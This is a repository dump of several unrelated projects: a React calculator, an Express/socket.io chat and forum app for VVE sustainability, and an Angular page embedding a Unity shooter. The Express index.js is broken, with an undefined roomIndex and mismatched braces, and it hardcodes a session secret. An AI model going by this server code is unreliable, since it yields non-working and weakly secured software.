formatAMPM(endDateGet) + " " + days[endDateGet.getDay()] + " )", type: 'blue', animation: 'scale', draggable: true, }); }; // showCalendar.onTimeRangeSelected = function(args) { // console.log(args); // var name = prompt("New event name:", "Event"); // showCalendar.clearSelection(); // if (!name) return; // var e = new DayPilot.Event({ // start: args.start, // end: args.end, // id: DayPilot.guid(), // resource: args.resource, // text: name // }); // showCalendar.events.add(e); // alert("Created"); // }; showCalendar.onIncludeTimeCell = function(args) { if (args.cell.start.getDayOfWeek() === 0 || args.cell.start.getDayOfWeek() === 6) { // hide Saturdays, Sundays args.cell.visible = false; } }; showCalendar.init(); } function formatAMPM(date) { var hours = date.getHours(); var minutes = date.getMinutes(); var ampm = hours >= 12 ? 'pm' : 'am'; hours = hours % 12; hours = hours ? hours : 12; // the hour '0' should be '12' minutes = minutes < 10 ? '0' + minutes : minutes; var strTime = hours + ':' + minutes + ' ' + ampm; return strTime; }
f043f297657e9db30a66c6b88f2d8c210f1a5c50
[ "JavaScript" ]
1
JavaScript
qazirian/Events-Handling-Calendar
16b9790b8dccf2c6a5417db170537a524f83ffb0
b63676401e83b24b9675b460f6d307cece3785ef
refs/heads/main
<repo_name>sdshone/react-calculator-app<file_sep>/README.md # react-calculator-app Simple React App Calculator <file_sep>/src/index.js import React from 'react'; import ReactDOM from 'react-dom'; import './index.css'; import * as math from "mathjs"; // Functional Component const DisplayWindow = (props) => (<input type='text' value={props.expression} disabled='true'/>); class Button extends React.Component { constructor() { super(); this.onClick = this.onClick.bind(this); } onClick() { this.props.onKeyPressed(this.props.text); } render() { return <button onClick={this.onClick}>{this.props.text}</button>; } } class Calculator extends React.Component { constructor () { super(); this.state = { expression: '' } this.onKeyPressed = this.onKeyPressed.bind(this); this.onEvaluatePressed = this.onEvaluatePressed.bind(this); this.onDeletePressed = this.onDeletePressed.bind(this); } onKeyPressed(text) { this.setState((prev) => ({expression: prev.expression + text})); } onEvaluatePressed() { const result = math.eval(this.state.expression); this.setState({expression: result.toString()}); } onDeletePressed() { this.setState((prev) => ({ expression: prev.expression.length <= 1 ? '' : prev.expression.slice(0, -1)})); } render() { return ( <div> <table> <tr> <td colspan="4"> <DisplayWindow expression={this.state.expression}/> </td> </tr> <tr> <td><Button name="one" text="1" onKeyPressed={this.onKeyPressed}/></td> <td><Button name="two" text="2" onKeyPressed={this.onKeyPressed}/></td> <td><Button name="three" text="3" onKeyPressed={this.onKeyPressed}/></td> <td><Button class="operator" name="plus" text="+" onKeyPressed={this.onKeyPressed}/></td> </tr> <tr> <td><Button name="four" text="4" onKeyPressed={this.onKeyPressed}/></td> <td><Button name="five" text="5" onKeyPressed={this.onKeyPressed}/></td> <td><Button name="six" text="6" onKeyPressed={this.onKeyPressed}/></td> <td><Button class="operator" name="minus" text="-" onKeyPressed={this.onKeyPressed}/></td> </tr> <tr> <td><Button name="seven" text="7" onKeyPressed={this.onKeyPressed}/></td> <td><Button name="eight" text="8" onKeyPressed={this.onKeyPressed}/></td> <td><Button name="nine" text="9" onKeyPressed={this.onKeyPressed}/></td> <td><Button class="operator" name="times" text="*" onKeyPressed={this.onKeyPressed}/></td> </tr> <tr> <td><Button id="clear" name="clear" text="C" onKeyPressed={this.onDeletePressed}/></td> <td><Button name="zero" text="0" onKeyPressed={this.onKeyPressed}/></td> <td><Button name="doit" text="=" onKeyPressed={this.onEvaluatePressed}/></td> <td><Button class="operator" name="div" text="/" onKeyPressed={this.onKeyPressed}/></td> </tr> </table> </div> ) } } ReactDOM.render(<Calculator />, document.getElementById('root'));
4f9eb4762fe00ea106e0a400c15b259ed22b560e
[ "Markdown", "JavaScript" ]
2
Markdown
sdshone/react-calculator-app
9b6ecc9e6005c1002cf9387d829dbef37ff7514e
c2f8609a96783485753d499f99d1b03b2c288d60
refs/heads/master
<repo_name>spodoprigora/contrail-charts<file_sep>/src/actions/Zoom.js /* * Copyright (c) Juniper Networks, Inc. All rights reserved. */ import _ from 'lodash' import Action from '../core/Action' export default class Zoom extends Action { constructor (p) { super(p) this._deny = false } /** * Zoom is performed by accessor ranges for any updated component be able to respond * while zooming by axes will require components to have the same corresponding axes names * @param ranges Hash of ranges by accessor */ _execute (componentIds, ranges) { const chart = this._registrar let components = [] if (componentIds) components = _.map(componentIds, id => chart.getComponent(id)) else { components.push(...chart.getComponentsByType('CompositeYChart')) components.push(...chart.getComponentsByType('Navigation')) } _.each(components, component => { if (component) component.zoom(ranges) }) } } <file_sep>/src/components/timeline/TimelineConfigModel.js /* * Copyright (c) Juniper Networks, Inc. All rights reserved. */ import _ from 'lodash' import * as d3Scale from 'd3-scale' import ContrailChartsConfigModel from 'contrail-charts-config-model' export default class TimelineConfigModel extends ContrailChartsConfigModel { get defaults () { return Object.assign(super.defaults, { isSharedContainer: true, // The component width width: undefined, // The component height height: 100, brushHandleHeight: 8, brushHandleScaleX: 1, brushHandleScaleY: 1.2, // Scale to transform values from percentage based selection to visual coordinates selectionScale: d3Scale.scaleLinear().domain([0, 100]), // The selection to use when first rendered [xMin%, xMax%]. selection: [], }) } get selectionRange () { this.attributes.selectionScale.range([this.attributes.xRange[0], this.attributes.xRange[1]]) if (_.isEmpty(this.attributes.selection)) return [] return [ this.attributes.selectionScale(this.attributes.selection[0]), this.attributes.selectionScale(this.attributes.selection[1]), ] } } <file_sep>/src/plugins/backbone/ContrailModel.js /* * Copyright (c) Juniper Networks, Inc. All rights reserved. */ import _ from 'lodash' import Backbone from 'backbone' export default class ContrailModel extends Backbone.Model { get (attr) { return _.get(this.attributes, attr) } } <file_sep>/src/components/pie-chart/PieChartView.js // Copyright (c) Juniper Networks, Inc. All rights reserved. import _ from 'lodash' import * as d3Selection from 'd3-selection' import * as d3Shape from 'd3-shape' import * as d3Ease from 'd3-ease' import ContrailChartsView from 'contrail-charts-view' import actionman from 'core/Actionman' import './pie-chart.scss' export default class PieChartView extends ContrailChartsView { static get dataType () { return 'Serie' } constructor (p = {}) { super(p) this.listenTo(this.model, 'change', this.render) this.listenTo(this.config, 'change', this.render) /** * Let's bind super _onResize to this. Also .bind returns new function ref. * we need to store this for successful removal from window event */ this._onResize = this._onResize.bind(this) window.addEventListener('resize', this._onResize) } get tagName () { return 'g' } /** * follow same naming convention for all charts */ get selectors () { return _.extend(super.selectors, { node: '.arc', highlight: '.highlight', }) } get events () { return _.extend(super.events, { 'click node': '_onClickNode', 'mouseover node': '_onMouseover', 'mousemove node': '_onMousemove', 'mouseout node': '_onMouseout', }) } render () { this.resetParams() this._calculateDimensions() super.render() this._onMouseout() const serieConfig = this.config.get('serie') const radius = this.config.get('radius') const data = this.model.data const arc = d3Shape.arc() .outerRadius(radius) .innerRadius(this.config.innerRadius) const stakes = d3Shape.pie() .sort(null) .value(d => serieConfig.getValue(d))(data) this.d3.attr('transform', `translate(${this.params.width / 2}, ${this.params.height / 2})`) const sectors = this.d3.selectAll(this.selectors.node) .data(stakes, d => d.value) sectors .enter().append('path') .classed(this.selectorClass('node'), true) .style('fill', d => this.config.getColor(d.data)) .merge(sectors) .classed(this.selectorClass('interactive'), this.config.hasAction('node')) .attr('d', arc) .transition().ease(d3Ease.easeLinear).duration(this.params.duration) .style('fill', d => this.config.getColor(d.data)) sectors.exit().remove() this._ticking = false } remove () { super.remove() window.removeEventListener('resize', this._onResize) } _calculateDimensions () { this.params.width = this.config.get('width') || this._container.getBoundingClientRect().width if (this.params.widthDelta) this.params.width += this.params.widthDelta this.params.height = this.config.get('height') || Math.round(this.params.width / 2) } // Event handlers _onMouseover (d, el, event) { const radius = this.config.get('radius') const highlightArc = d3Shape.arc(d) .innerRadius(radius) .outerRadius(radius * 1.06) .startAngle(d.startAngle) .endAngle(d.endAngle) this.d3 .append('path') .classed('arc', true) .classed(this.selectorClass('highlight'), true) .attr('d', highlightArc) .style('fill', this.config.getColor(d.data)) } _onMousemove (d, el, event) { const [left, top] = d3Selection.mouse(this._container) actionman.fire('ShowComponent', this.config.get('tooltip'), {left, top}, d.data) } _onMouseout (d, el) { this.d3.selectAll(this.selectors.highlight).remove() actionman.fire('HideComponent', this.config.get('tooltip')) } _onClickNode (d, el, e) { this._onMouseout(d, el) super._onEvent(d, el, e) } } <file_sep>/src/components/navigation/NavigationConfigModel.js /* * Copyright (c) Juniper Networks, Inc. All rights reserved. */ import _ from 'lodash' import * as d3Scale from 'd3-scale' import * as d3Shape from 'd3-shape' import ContrailChartsConfigModel from 'contrail-charts-config-model' import ColoredChart from 'helpers/color/ColoredChart' export default class NavigationConfigModel extends ContrailChartsConfigModel { get defaults () { return Object.assign(super.defaults, ColoredChart.defaults, { // The component width. If not provided will be caculated by View. width: undefined, // The difference by how much we want to modify the computed width. widthDelta: undefined, // The component height. If not provided will be caculated by View. height: undefined, // Scale to transform values from percentage based selection to visual coordinates selectionScale: d3Scale.scaleLinear().domain([0, 100]), // Default axis ticks if not specified per axis. _xTicks: 10, _yTicks: 10, // Margin between label and chart labelMargin: 16, marginTop: 25, marginBottom: 40, marginLeft: 50, marginRight: 50, marginInner: 10, curve: d3Shape.curveCatmullRom.alpha(0.5), // The selection to use when first rendered [xMin%, xMax%]. selection: [], }) } get selectionRange () { this.attributes.selectionScale.range([this.attributes.xRange[0], this.attributes.xRange[1]]) if (_.isEmpty(this.attributes.selection)) return [] return [ this.attributes.selectionScale(this.attributes.selection[0]), this.attributes.selectionScale(this.attributes.selection[1]), ] } getColor (data, accessor) { const configuredColor = ColoredChart.getColor(data, accessor) return configuredColor || this.attributes.colorScale(accessor.accessor) } } <file_sep>/src/components/composite-y/CompositeYChartConfigModel.js /* * Copyright (c) Juniper Networks, Inc. All rights reserved. */ import _ from 'lodash' import * as d3Scale from 'd3-scale' import * as d3Shape from 'd3-shape' import ContrailChartsConfigModel from 'contrail-charts-config-model' import ColoredChart from 'helpers/color/ColoredChart' export default class CompositeYChartConfigModel extends ContrailChartsConfigModel { get defaults () { return Object.assign(super.defaults, ColoredChart.defaults, { isPrimary: true, // by default will use common shared container under the parent isSharedContainer: true, // The component width. If not provided will be calculated by View. width: undefined, // The difference by how much we want to modify the computed width. widthDelta: undefined, // The component height. If not provided will be calculated by View. height: undefined, // Default axis ticks if not specified per axis. _xTicks: 10, _yTicks: 10, // Margin between label and chart labelMargin: 16, // Side margins. marginTop: 25, marginBottom: 40, marginLeft: 50, marginRight: 50, marginInner: 10, curve: d3Shape.curveCatmullRom.alpha(0.5), axisPositions: ['left', 'right', 'top', 'bottom'], plot: {}, axis: {}, // TODO move to the BarChartConfigModel // Padding between series in percents of bar width barPadding: 15, }) } set (...args) { super.set(ColoredChart.set(...args)) } /** * @param {String} name of the axis */ getScale (name) { const axis = this.attributes.axis[name] || {} if (_.isFunction(axis.scale)) return axis.scale if (_.isFunction(d3Scale[axis.scale])) return d3Scale[axis.scale]() if (['bottom', 'top'].includes(this.getPosition(name))) return d3Scale.scaleTime() return d3Scale.scaleLinear() } /** * @param {String} name of the axis * @return {String} Axis position bottom / left */ getPosition (name) { const axis = this.attributes.axis[name] || {} if (this.attributes.axisPositions.includes(axis.position)) return axis.position if (name.startsWith('x')) return 'bottom' if (name.startsWith('y')) return 'left' } getColor (data, accessor) { const configuredColor = ColoredChart.getColor(data, accessor) return configuredColor || this.attributes.colorScale(accessor.accessor) } getAccessors () { return this.get('plot.y') } getDomain (axisName) { return this.get(`axis.${axisName}.domain`) } } <file_sep>/examples/bubble-chart/map/index.js /* * Copyright (c) Juniper Networks, Inc. All rights reserved. */ import {ChartView} from 'coCharts' import world from './world-110m.json' import cities from './cities.json' const config = { id: 'chartBox', components: [{ id: 'map-id', type: 'Map', config: { map: world, feature: 'countries', fit: 'land', tooltip: 'tooltip-id', } }, { id: 'tooltip-id', type: 'Tooltip', config: { title: { accessor: 'city', }, } }] } const chart = new ChartView() export default { render: () => { chart.setConfig(config) chart.setData(cities) chart.render() }, remove: () => { chart.remove() } } <file_sep>/examples/linebar-chart/timeline/index.js /* * Copyright (c) Juniper Networks, Inc. All rights reserved. */ import _ from 'lodash' import {ChartView} from 'coCharts' import {formatter, fixture} from 'commons' const data = fixture() const template = _.template( `<div component="chart-id"></div> <div component="timeline-id"></div>`) const config = { id: 'chartBox', template, components: [{ id: 'chart-id', type: 'CompositeYChart', config: { marginInner: 10, marginLeft: 80, marginRight: 80, marginBottom: 40, height: 300, plot: { x: { accessor: 't', labelFormatter: 'Time', axis: 'x', }, y: [ { accessor: 'a', labelFormatter: 'Label A', enabled: true, chart: 'BarChart', axis: 'y1', }, { accessor: 'b', labelFormatter: 'Label B', enabled: true, chart: 'LineChart', axis: 'y1', }, { accessor: 'c', labelFormatter: 'Label C', enabled: false, chart: 'LineChart', axis: 'y1', }, ] }, axis: { x: { formatter: formatter.extendedISOTime, }, y1: { position: 'left', formatter: formatter.toInteger, labelMargin: 15, }, y2: { position: 'right', formatter: formatter.toInteger, labelMargin: 15, } } } }, { id: 'timeline-id', type: 'Timeline', config: { selection: [55, 85], accessor: 't', } }] } const chart = new ChartView() export default { render: () => { chart.setConfig(config) chart.setData(data) }, remove: () => { chart.remove() } } <file_sep>/src/components/radial/RadialDendrogramConfigModel.js /* * Copyright (c) 2016 Juniper Networks, Inc. All rights reserved. */ import * as d3Scale from 'd3-scale' import * as d3Ease from 'd3-ease' import * as d3Shape from 'd3-shape' import _ from 'lodash' import ContrailChartsConfigModel from 'contrail-charts-config-model' import ColoredChart from 'helpers/color/ColoredChart' export default class RadialDendrogramConfigModel extends ContrailChartsConfigModel { get defaults () { return Object.assign(super.defaults, ColoredChart.defaults, { // The component width. If not provided will be caculated by View. width: undefined, // The component height. If not provided will be caculated by View. height: undefined, // The labels of the levels. levels: [], // The duration of transitions. ease: d3Ease.easeCubic, duration: 500, valueScale: d3Scale.scaleLog(), // valueScale: d3Scale.scaleLinear(), // The separation in degrees between nodes with different parents parentSeparation: 1, parentSeparationThreshold: 0, // Arc width arcWidth: 10, // Show arc labels showArcLabels: true, // Define how will the labels be rendered: 'along-arc', 'perpendicular' labelFlow: 'along-arc', // Estimated average letter width arcLabelLetterWidth: 5, // The X offset (in pixels) of the arc label counted from the beggining of the arc. arcLabelXOffset: 2, // The Y offset (in pixels) of the arc label counted from the outer edge of the arc (positive values offset the label into the center of the circle). arcLabelYOffset: 18, // Initial drill down level drillDownLevel: 1, // curve: d3Shape.curveBundle.beta(0.85) // curve: d3Shape.curveBundle.beta(0.95) // curve: d3Shape.curveBundle.beta(1) curve: d3Shape.curveCatmullRom.alpha(0.5), // curve: d3Shape.curveCatmullRom.alpha(0.75) // curve: d3Shape.curveCatmullRom.alpha(1) // curve: d3Shape.curveLinear }) } set (...args) { super.set(ColoredChart.set(...args)) } getColor (data, accessor) { return accessor.color || this.attributes.colorScale(accessor.level) } getAccessors () { return _.map(this.attributes.levels, (level) => { return { accessor: level.level, level: level.level, label: level.label, color: level.color, enabled: level.level < this.attributes.drillDownLevel } }) } }
5a9a019df1c184f037884ddc0632cd732281bc15
[ "JavaScript" ]
9
JavaScript
spodoprigora/contrail-charts
b6c2f4d473242f6dd69e22f62b722b33f860ec72
ac6b9c3840fcd6f9483ff44f10991dee933af893
refs/heads/master
<file_sep>//#*********** CONTRIBUTOR: RAYYAN ****************// var express = require('express'); var mongoose = require('mongoose'); var bodyParser = require('body-parser'); var methodOverride = require('method-override'); var flash = require('connect-flash'); var session = require('express-session'); var passport = require('./config/passport'); var util = require('./util'); var app = express(); //******** AUTHENTICATION **********// const connectEnsureLogin = require('connect-ensure-login'); var passport = require('./config/passport'); var util = require('./util'); var express = require('express'); //require the http module // require the socket.io module & express var app = require('express')(); var http = require('http').createServer(app); var io = require('socket.io')(http); io.set("transports", ["polling"]); // DB setting const db = require('./config/key').MongoURI; const Schema = mongoose.Schema; const chatSchema = new Schema( { message: { type: Schema.Types.String, }, sender: { type: Schema.Types.String, }, chatroom: { type: Schema.Types.String, } }); //Connect mongo mongoose.connect('mongodb://127.0.0.1:27017/VVE_DB', { useNewUrlParser: true, useUnifiedTopology: true, useCreateIndex: true }) .then(function(){console.log('DB connected...'); console.log(db.name); }) .catch(err => console.log(err)) //other setting app.set('view engine', 'ejs'); app.set('views', './views'); app.use(express.static(__dirname+'/public')); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({extended:true})); app.use(methodOverride('_method')); app.use(flash()); app.use(session({secret:'MySecret', resave:true, saveUninitialized:true})); // Passport app.use(passport.initialize()); app.use(passport.session()); // Custom Middlewares app.use(function(req,res,next){ res.locals.isAuthenticated = req.isAuthenticated(); res.locals.currentUser = req.user; res.locals.util = util; next(); }); // Routes app.use('/', require('./routes/home')); app.use('/posts', util.getPostQueryString, require('./routes/posts')); app.use('/users', require('./routes/users')); app.use('/comments', util.getPostQueryString, require('./routes/comments')); app.use('/files', require('./routes/files')); //Dynamically add each chatroom route to our Express, redirecting to home for loading of Chat app.use('/chats/:rooms', require('./routes/home')); //Catch a connection event that has been routed to the node server into nameSpace /chats //Create an Array of NameSpaces, For each run the code below var nameSpaces = []; const rooms = {0:"General-Chat",1:"Solar-Panel",2:"Finance", 3:"Charging-Station" }; var chatDataModels = []; var fs = require('fs'); //***** Dynamic loading of chatrooms, that admin can edit via the website. Removed for now as the last merge //left me with even more bugs to fix by myself :) /*var array = fs.readFileSync('./config/chatroomMasterFile.txt').toString().split("\n"); for(room in rooms) { console.log("adding room:" + room); rooms.push(array[i]); console.log("rooms["+ room + "]: " + rooms[rooms.length-1]); } //= */ var CHAT_ROOMS = 7; //The number of chatrooms, this variable controls the ini of sockets, namespaces and routes. var chatroomSockets =[]; function createNameSpace(n){ var nameSpace = io.of('/chats/'+n); //domain.com/chats/General-Chat will have socket /chats0 nameSpace.on('connection', socket => { var chatRoom, userName; socket.handshake.query['chatRoomID'] = chatRoom; socket.handshake.query['user'] = userName; console.log("User:" + userName + "connected on Channel: " + chatRoom); socket.leave(socket.id); //Bug Fix for dual entries socket.join(chatRoom); socket.on('disconnect', function() { console.log("user disconnected"); }); socket.on('chat message', function(data) { console.log("message: " + data.message + "User: " + data.sender + "Room:" + chatRoom); //broadcast message from client A to all clients in client A's current room nameSpace.to(chatRoom).emit("received", { message: data.message, sender: data.sender ,chatroom:rooms[roomIndex] }); if(!modelAlreadyDeclared(chatRoom)){ var chatDataModel = mongoose.model(rooms[roomIndex], chatSchema, rooms[roomIndex]); } let chatMessage = new chatDataModels[roomIndex]({ message: data.message, sender: data.sender ,chatroom:data.room}); chatMessage.save(function(err){ if(err){ console.log("CHAT WRITE ERROR: Index.JS 111" + err); }else{ console.log("Writing message to:"+rooms[roomIndex]); mongoose.deleteModel(rooms[roomIndex]); //Clean up } }); }); }); } console.log("Creating namespace /chats" + roomIndex); chatDataModels.push(mongoose.model(rooms[roomIndex], chatSchema, rooms[roomIndex])); //Each chatroom needs its designated model pointing to the appropiate collection in the DB } createNameSpace('General-Chat'); createNameSpace('Finance'); createNameSpace('Solar-Panel'); createNameSpace('Charging-Station'); app.get('/givemejquery', function(req, res){ //Providing the client with our jquery res.sendFile(__dirname + '/node_modules/jquery/dist/jquery.js'); }); app.get('/givemeasocket', function(req, res){ //Providing the client with our socket.js res.sendFile(__dirname + '/node_modules/socket.io/lib/socket.js'); }); /* *******ACTIVATE SERVER LISTENER******* */ // Port setting var port = 8000; const path = require('path') http.listen(port, function(){ console.log('server on! http://localhost:'+port + "app.get(port) = " + app.get('port')); }); /* I made this function so unnecessary replication of data and extra computations are not done If a model already exists, we will simply use that model instead of creating a new one*/ function modelAlreadyDeclared (m) { try { mongoose.model(m) // it throws an error if the model is still not defined return true } catch (e) { return false } } module.export = chatDataModels; <file_sep> const mongoose = require("mongoose"); const Schema = mongoose.Schema; const chatSchema = new Schema( { message: { type: Schema.Types.String, }, sender: { type: Schema.Types.String, }, chatroom: { type: Schema.Types.String, } }); module.exports = mongoose.model('Chat',chatSchema); <file_sep>//put mongo uri here module.exports = { MongoURI:'mongodb://127.0.0.1:27017/VVE_DB' }<file_sep>const mongoose = require("mongoose"); const Schema = mongoose.Schema; const chatroomMasterTable = new Schema( { name: { type: Schema.Types.String, }, room_names: { type: Schema.Types.Array, }, }); module.exports = chatroomMasterTable;<file_sep>VISIT >>>>>>>>> 172.16.17.32 FOR LOCAL INSTAL >>>>>>>>>> First, npm install Second, to run the file node index.js # VVEsustainability Web page for helping VVE's save money making sustainable decisions. First, npm install Second, to run the file node index.js <file_sep>//********** CONTRIBUTOR: RAYYAN + HWAJUN**********// var express = require('express'); var mongoose = require('mongoose'); var router = express.Router(); var fs = require('fs'); //************* AUTHENTICATION *********************// const connectEnsureLogin = require('connect-ensure-login'); var passport = require('../config/passport'); var apartmentArray = []; var mapDataModel; var apartmentArray = []; var chatArray = []; const Schema = mongoose.Schema; const chatSchema = new Schema( { message: { type: Schema.Types.String, }, sender: { type: Schema.Types.String, }, chatroom: { type: Schema.Types.String, } }); var chatDataModel; var rooms = {a:'General-Chat',b:'Solar-Panel',c:'Finance', d:'Charging-Station'}; const fetch = require("node-fetch"); var userName; var chatDataModels = mongoose.modelNames(); /****** SCHEMA **********/ //Define a schema var MapSchema = Schema; //Define variable that will contain our map data /* The JSON Schema for an Apartment colllection according to the Database */ var MapModelSchema = new Schema( { vve_id : Schema.Types.Number, //Identifiers longitude : Schema.Types.String, //Longitutde Opted to use String values to prevent precision error and ambuigity in transfer latitude : Schema.Types.String, //Latitude //Status Object status : {insulation : Schema.Types.Number, energy : Schema.Types.Number, charge : Schema.Types.Number, finance : Schema.Types.Number, legal : Schema.Types.Number, supply : Schema.Types.Number, risk : Schema.Types.Number}, //Address Object address : { street : Schema.Types.String, number : Schema.Types.Number, city : Schema.Types.String, post_code : Schema.Types.String } } ); /* I made this function so unnecessary replication of data and extra computations are not done If a model already exists, we will simply use that model instead of creating a new one*/ function modelAlreadyDeclared (m) { try { mongoose.model(m) // it throws an error if the model is still not defined return true } catch (e) { return false } } /*************INCOMING ROUTES*****************/ // Direct to Home router.get('/map', function (req, res) { apartmentArray = loadMap(res); }); // Click on Chat var CHAT_ROOMS = 7 router.get('/chats/:rooms', connectEnsureLogin.ensureLoggedIn(), function (req, res){ var room = req.params.room; var room3 = req.params.rooms; var room2 = req.query.room; console.log("LOAD CHAT : " + room3); if(modelAlreadyDeclared(room3)){ mongoose.deleteModel(room3);} chatArray = loadChat(res, room3); }); async function loadMap(res){ /* Back-End code for obtaining VVE Geolocations*/ if(!modelAlreadyDeclared('Apartment')){ mapDataModel = mongoose.model('Apartment', MapModelSchema, 'Apartment'); } console.log("Load Map Debug: " + mapDataModel.db.name); var rawApartmentArray = []; console.log("Searching for Apartments.."); const query = mapDataModel.find(); var promise = query.then(function (docs, err){ if(err){ console.log("Error caught during query.then" + err); } else{ console.log("Search results: " + docs.length); res.locals.apartmentArray = docs; console.log(docs); console.log("Type of Map 'docs' " + typeof(docs)); console.log("res.locals.apartmentArray has been set"); res.render('home/mapPage.ejs', {data: docs}); console.log("res.render() called"); return docs; } }).catch(err => { console.log(err); }); return rawApartmentArray; } function roomToIndex(room){ if(room == "General-Chat"){ return 0; } else if(room == "Solar-Panel"){ return 1; } else if(room == "Finance"){return 2;} else if(room == "Charging-Station"){ return 3;} } var chatDataModel; async function loadChat(res, room){ //***Load all chat messages in the DB into a JSON and push to client-side***// var chatDataModel = mongoose.model(room, chatSchema, room); console.log("CHAT DEBUG:" + chatDataModel.db.name + "room var:" + room); const chatQuery = chatDataModel.find(); //Query Chatroom Data var chatPromise = chatQuery.then( function (docs, err) { if(err) { console.log("Error caught during Chat Query: " + err); } else { //Promise was kept and document loaded without error console.log("Chat results:" + docs.length); console.log(docs); console.log("Type of Chat 'docs':" + typeof(docs)); res.render('home/' + room + '.ejs', {chatData: docs, userName: userName}); console.log("Chat: home/" + room + '.ejs', " rendering... username: " + userName); return docs; } }).catch(err => { console.log(err); }); mongoose.deleteModel(room); //Clean up return chatArray; } // ROUTES // Home router.get('/', function(req, res){ res.render('home/welcome'); }); router.get('/about', function(req, res){ res.render('home/about'); }); // advice router.get('/advice', function(req, res){ res.render('advice/advice'); }); router.get('/advice-information', function(req, res){ res.render('advice/information'); }); router.get('/advice-search', function(req, res){ res.render('posts'); }); router.get('/advice-chat', function(req, res){ res.render('home/General-Chat'); }); // led lighting router.get('/led', function(req, res){ res.render('led/led'); }); router.get('/led-information', function(req, res){ res.render('led/information'); }); router.get('/led-search', function(req, res){ res.render('posts'); }); // insulation router.get('/insulation', function(req, res){ res.render('insulation/insulation'); }); router.get('/insulation-information', function(req, res){ res.render('insulation/information'); }); router.get('/insulation-search', function(req, res){ res.render('posts'); }); // hr++ router.get('/hr', function(req, res){ res.render('hr/hr'); }); router.get('/hr-information', function(req, res){ res.render('hr/information'); }); router.get('/hr-search', function(req, res){ res.render('posts'); }); // energy generation router.get('/energy-generation', function(req, res){ res.render('energy-generation/energy-generation'); }); router.get('/energy-generation-information', function(req, res){ res.render('energy-generation/information'); }); router.get('/energy-generation-search', function(req, res){ res.render('posts'); }); // charging station router.get('/charging-station', function(req, res){ res.render('charging-station/charging-station'); }); router.get('/charging-station-information', function(req, res){ res.render('charging-station/information'); }); router.get('/charging-station-search', function(req, res){ res.render('posts'); }); // finance router.get('/finance', function(req, res){ res.render('finance/finance'); }); router.get('/finance-information', function(req, res){ res.render('finance/information'); }); router.get('/finanace-search', function(req, res){ res.render('posts'); }); router.get('/shop', function(req, res){ res.render('shop/shop'); }); // Side navigation //find vve router.get('/map', function(req, res){ res.render('/map/map.ejs'); }); //newsletter router.get('/newsletter', function(req, res){ res.render('newsletter/newsletter'); }); // support router.get('/support', function(req, res){ res.render('home/contact'); }); // Login router.get('/login', function (req,res) { var username = req.flash('username')[0]; var errors = req.flash('errors')[0] || {}; res.render('home/login', { username:username, errors:errors }); }); // Post Login router.post('/login', function(req,res,next){ var errors = {}; var isValid = true; if(!req.body.username){ isValid = false; errors.username = 'Username is required!'; } if(!req.body.password){ isValid = false; errors.password = '<PASSWORD>!'; } if(isValid){ userName = req.body.username; console.log("username set to:" + userName); next(); } else { req.flash('errors',errors); res.redirect('/login'); } }, passport.authenticate('local-login', { successRedirect : '/', failureRedirect : '/login' } )); // Logout router.get('/logout', function(req, res) { req.logout(); res.redirect('/'); }); module.exports = router; <file_sep>$(document).ready(function() { $('#show-hidden-menu').click(function() { $('.hidden-menu').slideToggle("slow"); // Alternative animation for example // slideToggle("fast"); }); });
6c71294f6518e9235f25ba018724c06e234de44d
[ "JavaScript", "Markdown" ]
7
JavaScript
Ainecaitlin/VVEsustainability
fab150ba46d865b3f9cb1cc4f42d27d506ea1bc6
500278025cc932cd53af472b062f546216f866bb
refs/heads/master
<repo_name>chevvy/angular-unity-app<file_sep>/src/app/fps-template/fps-template.component.html <div id="unity-container" class="unity-desktop"> <canvas id="unity-canvas"></canvas> <div id="unity-loading-bar"> <div id="unity-logo"></div> <div id="unity-progress-bar-empty"> <div id="unity-progress-bar-full"></div> </div> </div> <div id="unity-footer"> <div id="unity-webgl-logo"></div> </div> </div> <div> Cliquez sur le bouton "kill big meanie" pour tuer le premier ennemi </div> <div class="options"> <button (click)="killEnemy()">Kill big meanie</button> <div id="unity-fullscreen-button"></div> <div> <--- treat yo self with some fullscreen, you deserve it ! </div> </div> <file_sep>/src/app/fps-template/fps-template.component.ts import { Component, OnInit } from '@angular/core'; declare var createUnityInstance; @Component({ selector: 'app-fps-template', templateUrl: './fps-template.component.html', styleUrls: ['./fps-template.component.scss'] }) export class FpsTemplateComponent implements OnInit { UnityInstance: any; constructor() { } ngOnInit(): void { const buildUrl = 'assets/Games/FPS'; const loaderUrl = buildUrl + '/buildWeb.loader.js'; const config = { dataUrl: buildUrl + '/buildWeb.data', frameworkUrl: buildUrl + '/buildWeb.framework.js', codeUrl: buildUrl + '/buildWeb.wasm', streamingAssetsUrl: 'StreamingAssets', companyName: 'DefaultCompany', productName: 'shootyMcShot', productVersion: '0.1', devicePixelRatio: null, }; const container: HTMLElement = document.querySelector('#unity-container'); const canvas: HTMLElement = document.querySelector('#unity-canvas'); const loadingBar: HTMLElement = document.querySelector('#unity-loading-bar'); const progressBarFull: HTMLElement = document.querySelector('#unity-progress-bar-full'); const fullscreenButton: HTMLElement = document.querySelector('#unity-fullscreen-button'); if (/iPhone|iPad|iPod|Android/i.test(navigator.userAgent)) { container.className = 'unity-mobile'; config.devicePixelRatio = 1; } else { canvas.style.width = '960px'; canvas.style.height = '600px'; } loadingBar.style.display = 'block'; const script = document.createElement('script'); script.src = loaderUrl; createUnityInstance(canvas, config, (progress) => { progressBarFull.style.width = 100 * progress + '%'; }).then((unityInstance) => { this.UnityInstance = unityInstance; loadingBar.style.display = 'none'; fullscreenButton.onclick = () => { unityInstance.SetFullscreen(1); }; }).catch((message) => { alert(message); }); } killEnemy() { this.UnityInstance.SendMessage('Enemy_HoverBot', 'OnDie'); } }
dd42ea948095086df55995773b7d7a91b927eb2b
[ "TypeScript", "HTML" ]
2
HTML
chevvy/angular-unity-app
2bd21f20af7d1b4512e9812cca965b6451ad7f62
81ce96f203b0490c7970481fbb0f2ba575d40a8c
refs/heads/master
